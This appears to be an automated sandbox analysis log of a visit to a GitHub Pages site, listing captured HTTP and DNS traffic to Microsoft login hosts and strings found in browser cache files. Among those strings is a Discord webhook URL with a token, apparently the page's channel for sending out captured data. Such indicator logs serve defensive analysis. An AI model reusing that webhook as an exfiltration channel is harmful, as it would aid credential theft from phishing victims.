Source: global traffic	HTTP traffic detected: GET /meversion?partner=SMCConvergence&market=en-us&uhf=1 HTTP/1.1Host: mem.gfx.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://support.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://support.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/me/MeControl/10.24086.4/en-US/meBoot.min.js HTTP/1.1Host: mem.gfx.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://support.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://support.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_JQnUxWSvwsd9FrpspQmznw2.js HTTP/1.1Host: aadcdn.msauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/me/MeControl/10.24086.4/en-US/meBoot.min.js HTTP/1.1Host: mem.gfx.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/FetchSessions_Core_VRFGv7Cn5qZDpUQIsx-pnA2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.microsoftonline.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/FetchSessions_Core_VRFGv7Cn5qZDpUQIsx-pnA2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/me/MeControl/10.24086.4/en-US/meCore.min.js HTTP/1.1Host: mem.gfx.msConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://support.microsoft.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://support.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/me/MeControl/10.24086.4/en-US/meCore.min.js HTTP/1.1Host: mem.gfx.msConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16.000/content/js/MeControl_Ye0OByYXt18CLWy1Pqhd4Q2.js HTTP/1.1Host: logincdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://login.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /16.000/content/js/MeControl_Ye0OByYXt18CLWy1Pqhd4Q2.js HTTP/1.1Host: logincdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: l9sa.github.ioConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: chromecache_206.2.dr

String found in binary or memory: * Facebook [ https://www.facebook.com/Icons8 ] equals www.facebook.com (Facebook)

Source: global traffic	DNS traffic detected: DNS query: l9sa.github.io
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: use.fontawesome.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.icons8.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: signup.live.com
Source: global traffic	DNS traffic detected: DNS query: logincdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: fpt.live.com
Source: global traffic	DNS traffic detected: DNS query: msft.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: client.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: stk.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: collector-pxzc5j78di.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: c.s-microsoft.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: mem.gfx.ms
Source: global traffic	DNS traffic detected: DNS query: support.content.office.net
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: acctcdn.msftauth.net

Source: unknown

HTTP traffic detected: POST /api/v2/msft HTTP/1.1Host: collector-pxzc5j78di.hsprotect.netConnection: keep-aliveContent-Length: 612sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-type: application/x-www-form-urlencodedAccept: */*Origin: https://msft.hsprotect.netSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://msft.hsprotect.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: chromecache_282.2.dr, chromecache_305.2.dr	String found in binary or memory: http://github.com/requirejs/almond/LICENSE
Source: chromecache_303.2.dr, chromecache_209.2.dr	String found in binary or memory: http://knockoutjs.com/
Source: chromecache_303.2.dr, chromecache_209.2.dr	String found in binary or memory: http://www.opensource.org/licenses/mit-license.php)
Source: sets.json.0.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.0.dr	String found in binary or memory: https://24.hu
Source: sets.json.0.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.0.dr	String found in binary or memory: https://abczdrowie.pl
Source: sets.json.0.dr	String found in binary or memory: https://alice.tw
Source: sets.json.0.dr	String found in binary or memory: https://ambitionbox.com
Source: sets.json.0.dr	String found in binary or memory: https://autobild.de
Source: sets.json.0.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.0.dr	String found in binary or memory: https://bild.de
Source: sets.json.0.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.0.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.0.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.0.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.0.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.0.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.0.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.0.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.0.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.0.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.0.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.0.dr	String found in binary or memory: https://cardsayings.net
Source: chromecache_241.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js
Source: chromecache_241.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/css/bootstrap.min.css
Source: chromecache_241.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.5.0/js/bootstrap.bundle.min.js
Source: sets.json.0.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.0.dr	String found in binary or memory: https://chennien.com
Source: sets.json.0.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.0.dr	String found in binary or memory: https://clarosports.com
Source: chromecache_295.2.dr	String found in binary or memory: https://client.hsprotect.net/PXzC5j78di/main.min.js
Source: sets.json.0.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.0.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.0.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.0.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.0.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.0.dr	String found in binary or memory: https://content-loader.com
Source: sets.json.0.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.0.dr	String found in binary or memory: https://css-load.com
Source: sets.json.0.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.0.dr	String found in binary or memory: https://deere.com
Source: sets.json.0.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.0.dr	String found in binary or memory: https://dewarmsteweek.be
Source: chromecache_288.2.dr, chromecache_281.2.dr	String found in binary or memory: https://discord.com/api/webhooks/1148571982691053641/GtFJLiLbLplmA_5L5J7VxuFVyUYHT9PQS-KJXLqwu0D9ZHD
Source: sets.json.0.dr	String found in binary or memory: https://drimer.io
Source: sets.json.0.dr	String found in binary or memory: https://drimer.travel
Source: sets.json.0.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.0.dr	String found in binary or memory: https://een.be
Source: sets.json.0.dr	String found in binary or memory: https://efront.com
Source: sets.json.0.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.0.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.0.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.0.dr	String found in binary or memory: https://ella.sv
Source: sets.json.0.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.0.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.0.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.0.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.0.dr	String found in binary or memory: https://finn.no
Source: sets.json.0.dr	String found in binary or memory: https://firstlook.biz
Source: chromecache_235.2.dr	String found in binary or memory: https://fontawesome.com
Source: chromecache_235.2.dr	String found in binary or memory: https://fontawesome.com/license/free
Source: chromecache_203.2.dr	String found in binary or memory: https://fpt.live.com/
Source: sets.json.0.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://geforcenow.com
Source: chromecache_201.2.dr, chromecache_224.2.dr, chromecache_273.2.dr	String found in binary or memory: https://getbootstrap.com/)
Source: sets.json.0.dr	String found in binary or memory: https://gettalkdesk.com
Source: chromecache_206.2.dr	String found in binary or memory: https://github.com/FontCustom/fontcustom
Source: chromecache_303.2.dr, chromecache_209.2.dr	String found in binary or memory: https://github.com/douglascrockford/JSON-js
Source: chromecache_206.2.dr	String found in binary or memory: https://github.com/icons8
Source: chromecache_201.2.dr, chromecache_224.2.dr, chromecache_273.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/master/LICENSE)
Source: chromecache_224.2.dr, chromecache_273.2.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: sets.json.0.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.0.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.0.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://grid.id
Source: sets.json.0.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.0.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.0.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.0.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://hapara.com
Source: sets.json.0.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1.global
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.0.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.0.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.0.dr	String found in binary or memory: https://hearty.app
Source: sets.json.0.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.0.dr	String found in binary or memory: https://hearty.me
Source: sets.json.0.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.0.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.0.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.0.dr	String found in binary or memory: https://hj.rs
Source: sets.json.0.dr	String found in binary or memory: https://hjck.com
Source: sets.json.0.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.0.dr	String found in binary or memory: https://html-load.com
Source: sets.json.0.dr	String found in binary or memory: https://human-talk.org
Source: chromecache_206.2.dr	String found in binary or memory: https://icons8.com/
Source: chromecache_206.2.dr	String found in binary or memory: https://icons8.com/contact
Source: chromecache_206.2.dr	String found in binary or memory: https://icons8.com/good-boy-license/
Source: chromecache_206.2.dr	String found in binary or memory: https://icons8.com/line-awesome
Source: sets.json.0.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.0.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.0.dr	String found in binary or memory: https://img-load.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.0.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.0.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.0.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.0.dr	String found in binary or memory: https://interia.pl
Source: sets.json.0.dr	String found in binary or memory: https://intoday.in
Source: sets.json.0.dr	String found in binary or memory: https://iolam.it
Source: sets.json.0.dr	String found in binary or memory: https://ishares.com
Source: sets.json.0.dr	String found in binary or memory: https://jagran.com
Source: sets.json.0.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.0.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://joyreactor.com
Source: sets.json.0.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.0.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.com
Source: sets.json.0.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.0.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.0.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.0.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.0.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.0.dr	String found in binary or memory: https://lateja.cr
Source: sets.json.0.dr	String found in binary or memory: https://libero.it
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.0.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.0.dr	String found in binary or memory: https://livechat.com
Source: sets.json.0.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.0.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.0.dr	String found in binary or memory: https://livemint.com
Source: chromecache_202.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_202.2.dr	String found in binary or memory: https://login.windows-ppe.net
Source: sets.json.0.dr	String found in binary or memory: https://max.auto
Source: chromecache_241.2.dr	String found in binary or memory: https://maxcdn.icons8.com/fonts/line-awesome/1.1/css/line-awesome.min.css
Source: sets.json.0.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.0.dr	String found in binary or memory: https://meo.pt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.0.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.0.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.0.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.0.dr	String found in binary or memory: https://money.pl
Source: sets.json.0.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.0.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://nacion.com
Source: sets.json.0.dr	String found in binary or memory: https://naukri.com
Source: sets.json.0.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.co
Source: sets.json.0.dr	String found in binary or memory: https://nien.com
Source: sets.json.0.dr	String found in binary or memory: https://nien.org
Source: sets.json.0.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.0.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.0.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.0.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.0.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.0.dr	String found in binary or memory: https://o2.pl
Source: sets.json.0.dr	String found in binary or memory: https://ocdn.eu
Source: sets.json.0.dr	String found in binary or memory: https://onet.pl
Source: sets.json.0.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.0.dr	String found in binary or memory: https://p106.net
Source: sets.json.0.dr	String found in binary or memory: https://p24.hu
Source: sets.json.0.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.0.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.0.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.0.dr	String found in binary or memory: https://player.pl
Source: sets.json.0.dr	String found in binary or memory: https://plejada.pl
Source: chromecache_206.2.dr	String found in binary or memory: https://plus.google.com/
Source: sets.json.0.dr	String found in binary or memory: https://poalim.site
Source: sets.json.0.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.0.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.0.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.0.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.0.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.0.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.0.dr	String found in binary or memory: https://radio1.be
Source: sets.json.0.dr	String found in binary or memory: https://radio2.be
Source: sets.json.0.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.0.dr	String found in binary or memory: https://repid.org
Source: sets.json.0.dr	String found in binary or memory: https://reshim.org
Source: sets.json.0.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.0.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.0.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.0.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.0.dr	String found in binary or memory: https://samayam.com
Source: sets.json.0.dr	String found in binary or memory: https://sapo.io
Source: sets.json.0.dr	String found in binary or memory: https://sapo.pt
Source: sets.json.0.dr	String found in binary or memory: https://shock.co
Source: chromecache_241.2.dr	String found in binary or memory: https://signup.live.com/?lic=1
Source: sets.json.0.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.0.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.0.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.0.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.0.dr	String found in binary or memory: https://songshare.com
Source: sets.json.0.dr	String found in binary or memory: https://songstats.com
Source: sets.json.0.dr	String found in binary or memory: https://sporza.be
Source: sets.json.0.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.0.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.0.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.0.dr	String found in binary or memory: https://stripe.com
Source: sets.json.0.dr	String found in binary or memory: https://stripe.network
Source: sets.json.0.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.0.dr	String found in binary or memory: https://supereva.it
Source: sets.json.0.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.0.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.0.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.0.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.0.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.0.dr	String found in binary or memory: https://text.com
Source: sets.json.0.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.0.dr	String found in binary or memory: https://the42.ie
Source: sets.json.0.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.0.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.0.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.0.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.0.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.0.dr	String found in binary or memory: https://top.pl
Source: sets.json.0.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.0.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.0.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.0.dr	String found in binary or memory: https://tvid.in
Source: sets.json.0.dr	String found in binary or memory: https://tvn.pl
Source: sets.json.0.dr	String found in binary or memory: https://tvn24.pl
